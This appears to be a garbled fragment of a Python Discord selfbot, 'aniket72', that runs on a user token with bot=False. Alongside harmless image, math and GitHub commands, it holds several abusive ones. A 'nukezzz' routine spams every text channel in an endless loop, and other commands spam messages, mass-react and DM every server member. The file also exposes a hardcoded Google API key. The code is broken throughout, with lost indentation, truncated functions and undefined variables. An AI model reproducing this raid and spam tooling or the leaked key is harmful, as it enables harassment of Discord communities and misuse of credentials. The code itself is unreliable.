async def spam(ctx, times: int, *, message):
for _ in range(times):
await ctx.send(message)
await asyncio.sleep(0.1)
print("{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}SPAMMING SUCCESFULLY✅")
# IMAGE SEARCH
API_LOL = 'AIzaSyDqk7JHB56dMBW8Fmd0kYG6d98-GSAf6k0'
CX_ID = '80db58308412546d9'
@aniket72.command()
async def gimage(ctx, *, query: str):
"""Search for an image on Google."""
url = 'https://www.googleapis.com/customsearch/v1'
params = {
'key': API_LOL,
'cx': CX_ID,
'q': query,
'searchType': 'image',
'num': 1
}
response = requests.get(url, params=params).json()
try:
image_url = response['items'][0]['link']
await ctx.send(image_url)
except Exception as e:
await ctx.send("- `[+] ERROR SIR`")
# PAT
@aniket72.command()
async def pat(ctx, user: discord.Member = None):
await ctx.message.delete()
if user is None:
user = ctx.author
r = requests.get("https://nekos.life/api/v2/img/pat")
res = r.json()
try:
async with aiohttp.ClientSession() as session:
async with session.get(res['url']) as resp:
image = await resp.read()
with io.BytesIO(image) as file:
await ctx.send(user.mention,
file=discord.File(file, f"astraa_pat.gif"))
except:
em = discord.Embed(description=user.mention)
em.set_image(url=res['url'])
await ctx.send(embed=em)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}PATTED ✅ ")
mainscreen = config.get('Token')
# NSFW
@aniket72.command(aliases=['fuck', 'fx', '18+', 'xxx', 'nsfw'])
async def waifu(ctx):
try:
response = requests.get('https://api.waifu.pics/nsfw/waifu')
data = response.json()
if 'url' in data:
image_url = data['url']
await ctx.message.delete()
await ctx.send(image_url)
else:
await ctx.send('- `[+] ERROR FINDING ANIME GURLLL`')
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray})
{pretty}{Fore.GREEN}HENTAI SUCCESSFUL✅ (THARKI💀)")
except Exception as e:
print('- `[+] ERROR FETCHING IT`', e)
# KISS
@aniket72.command()
async def kiss(ctx, user: discord.Member = None):
await ctx.message.delete()
if user is None:
user = ctx.author
r = requests.get("https://nekos.life/api/v2/img/kiss")
res = r.json()
try:
async with aiohttp.ClientSession() as session:
async with session.get(res['url']) as resp:
image = await resp.read()
with io.BytesIO(image) as file:
await ctx.send(user.mention,
file=discord.File(file, f"astraa_kiss.gif"))
except:
em = discord.Embed(description=user.mention)
em.set_image(url=res['url'])
await ctx.send(embed=em)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}KISS SUCCESSFUL✅ (THARKI💀)")
# SMUG
@aniket72.command()
async def smug(ctx, user: discord.Member = None):
await ctx.message.delete()
if user is None:
user = ctx.author
r = requests.get("https://nekos.life/api/v2/img/smug")
res = r.json()
try:
async with aiohttp.ClientSession() as session:
async with session.get(res['url']) as resp:
image = await resp.read()
with io.BytesIO(image) as file:
await ctx.send(user.mention,
file=discord.File(file, f"astraa_smug.gif"))
except:
em = discord.Embed(description=user.mention)
em.set_image(url=res['url'])
await ctx.send(embed=em)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}SUMGGING SUCCESSFUL✅ ")
#HUG
@aniket72.command()
async def hug(ctx, user: discord.Member = None):
await ctx.message.delete()
if user is None:
user = ctx.author
r = requests.get("https://nekos.life/api/v2/img/hug")
res = r.json()
try:
async with aiohttp.ClientSession() as session:
async with session.get(res['url']) as resp:
image = await resp.read()
with io.BytesIO(image) as file:
await ctx.send(user.mention,
file=discord.File(file, f"astraa_hug.gif"))
except:
em = discord.Embed(description=user.mention)
em.set_image(url=res['url'])
await ctx.send(embed=em)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}HUGGING SUCCESSFUL✅ ")
# CUDDLE
@aniket72.command()
async def cuddle(ctx, user: discord.Member = None):
await ctx.message.delete()
if user is None:
user = ctx.author
r = requests.get("https://nekos.life/api/v2/img/cuddle")
res = r.json()
try:
async with aiohttp.ClientSession() as session:
async with session.get(res['url']) as resp:
image = await resp.read()
with io.BytesIO(image) as file:
await ctx.send(user.mention,
file=discord.File(file, f"astraa_cuddle.gif"))
except:
em = discord.Embed(description=user.mention)
em.set_image(url=res['url'])
await ctx.send(embed=em)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}CUDDLE SUCCESSFUL✅ ")
# CHAT TRANSCRIPTION
@aniket72.command()
async def savetranscript(ctx, filename='transcript.txt'):
try:
with open(filename, 'w', encoding='utf-8') as file:
file.write(f'Chat Transcript for {ctx.channel.name}\n')
file.write('=' * 40 + '\n\n')
# MASS REACT
@aniket72.command()
async def massreact(ctx, emote):
await ctx.message.delete()
messages = await ctx.message.channel.history(limit=20).flatten()
for message in messages:
await message.add_reaction(emote)
# SERVER BANNER
@aniket72.command(aliases=['serverbanner'])
async def banner(ctx):
await ctx.message.delete()
if not ctx.guild.icon_url:
await ctx.send(f"`-` __**{ctx.guild.name}**__ **SERVER HAS NO BANNER**")
return
await ctx.send(ctx.guild.banner_url)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}BANNER SUCCESSFUL✅ ")
# SERVER PFP
@aniket72.command(aliases=['guildpfp', 'serverpfp', 'servericon'])
async def guildicon(ctx):
await ctx.message.delete()
if not ctx.guild.icon_url:
await ctx.send(f"`-` __**{ctx.guild.name}**__ **SERVER HAS NO ICON**")
return
await ctx.send(ctx.guild.icon_url)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}GUILDICON SENT SUCCESSFUL✅ ")
# NUKEZ
@aniket72.command()
async def nukezzz(ctx):
def check(m):
return m.content == 'STOP' and m.channel == ctx.channel and m.author ==
ctx.author
if not ctx.author.guild_permissions.administrator:
await ctx.send('[!] `ADMIN PERMS`')
return
channel_name = 'nuked-by-daddy🌹'
while True:
for channel in ctx.guild.text_channels:
try:
await channel.send(message_text)
except discord.errors.Forbidden:
pass
except Exception as e:
print(f'[!] ERROR : {e}')
# SLAP
@aniket72.command()
async def slap(ctx, user: discord.Member = None):
await ctx.message.delete()
if user is None:
user = ctx.author
r = requests.get("https://nekos.life/api/v2/img/slap")
res = r.json()
try:
async with aiohttp.ClientSession() as session:
async with session.get(res['url']) as resp:
image = await resp.read()
with io.BytesIO(image) as file:
await ctx.send(user.mention,
file=discord.File(file, f"astraa_slap.gif"))
except:
em = discord.Embed(description=user.mention)
em.set_image(url=res['url'])
await ctx.send(embed=em)
print(f"{reset}[ {cyan}{time_rn}{reset} ] {gray}({green}+{gray}) {pretty}
{Fore.GREEN}SLAPPING SUCCESSFUL✅ ")
#BACKUP
@aniket72.command()
async def backup(ctx, mode=None):
if mode == 'dms':
# Create a list to store user IDs
friend_ids = []
@aniket72.command()
async def restart(ctx):
await ctx.reply('`-` **RESTARTING**')
os.execl(sys.executable, sys.executable, *sys.argv)
@aniket72.command(name='add')
async def add(ctx, num1: float, num2: float):
result = num1 + num2
await ctx.send(f'`-` **ANS : {result}**')
@aniket72.command(name='subtract')
async def subtract(ctx, num1: float, num2: float):
result = num1 - num2
await ctx.send(f'`-` **ANS : {result}**')
@aniket72.command(name='multiply')
async def multiply(ctx, num1: float, num2: float):
result = num1 * num2
await ctx.send(f'`-` **ANS : {result}**')
@aniket72.command(name='divide')
async def divide(ctx, num1: float, num2: float):
if num2 == 0:
await ctx.send('- `ERROR`')
else:
result = num1 / num2
await ctx.send(f'`-` **ANS : {result}**')
#SERVER DMER
@aniket72.command()
async def dmall(ctx):
members = ctx.guild.members
for member in members:
try:
await member.send('HELLO BROO')
except discord.Forbidden:
print(f'UNABLE O SEND MSG. TO {member.name}')
except Exception as e:
print(f'ERROR COMMING IN MESSAGE SENDING TO {member.name}: {e}')
@aniket72.command(aliases=['bal', 'ltcbal'])
async def getbal(ctx, ltcaddress):
response =
requests.get(f'https://api.blockcypher.com/v1/ltc/main/addrs/{ltcaddress}/balance')
if response.status_code == 200:
data = response.json()
balance = data['balance'] / 10**8
total_balance = data['total_received'] / 10**8
unconfirmed_balance = data['unconfirmed_balance'] / 10**8
else:
await ctx.send("- `FAILED`")
return
cg_response = requests.get('https://api.coingecko.com/api/v3/simple/price?
ids=litecoin&vs_currencies=usd')
if cg_response.status_code == 200:
usd_price = cg_response.json()['litecoin']['usd']
else:
await ctx.send("- `FAILED`")
return
await ctx.send(message)
@aniket72.command()
async def gitsearch(ctx, repository_name: str):
try:
# Search for repositories on GitHub
url = f"https://api.github.com/search/repositories?q={repository_name}"
response = requests.get(url)
data = response.json()
@aniket72.command()
async def gituser(ctx, username: str):
api_url = f"https://api.github.com/users/{username}"
response = requests.get(api_url)
if response.status_code == 200:
user_data = response.json()
await ctx.send(message)
elif response.status_code == 404:
await ctx.send("`-` **USER NOT FOUND**")
else:
await ctx.send("`-` **FAILED TO GET INFO**")
@aniket72.command()
@commands.has_permissions(manage_channels=True)
async def create_channel(ctx, channel_name, channel_category=None):
guild = ctx.guild
if channel_category:
category = discord.utils.get(guild.categories, name=channel_category)
if category is None:
category = await guild.create_category(channel_category)
else:
category = None
@aniket72.command()
@commands.has_permissions(manage_roles=True)
async def create_role(ctx, role_name, color=None):
guild = ctx.guild
if color is None:
new_role = await guild.create_role(name=role_name)
else:
color = discord.Color(int(color, 16))
new_role = await guild.create_role(name=role_name, color=color)
#MESSAGE UPLOADER
@aniket72.command(name='send')
async def send_message(ctx, *, message: str):
try:
#TRIGGER
@aniket72.command()
async def addar(ctx, *, trigger_and_response: str):
# Split the trigger and response using a comma (",")
trigger, response = map(str.strip, trigger_and_response.split(','))
data[trigger] = response
@aniket72.command()
async def removear(ctx, trigger: str):
with open('auto_responses.json', 'r') as file:
data = json.load(file)
if trigger in data:
del data[trigger]
@aniket72.command()
async def lister(ctx):
with open('auto_responses.json', 'r') as file:
data = json.load(file)
responses = '\n'.join([f'**{trigger}** - **{response}**' for trigger, response
in data.items()])
await ctx.send(f'# __ΛПIKΣƬ_72 S3LFB0Ƭ__\n`-` **AUTO_RESPONSE LIST** :\
n{responses}')
# STATUS ROTATOR
aniket72.load_extension("status_rotator")
token = config.get('Token')
aniket72.run(token, bot=False)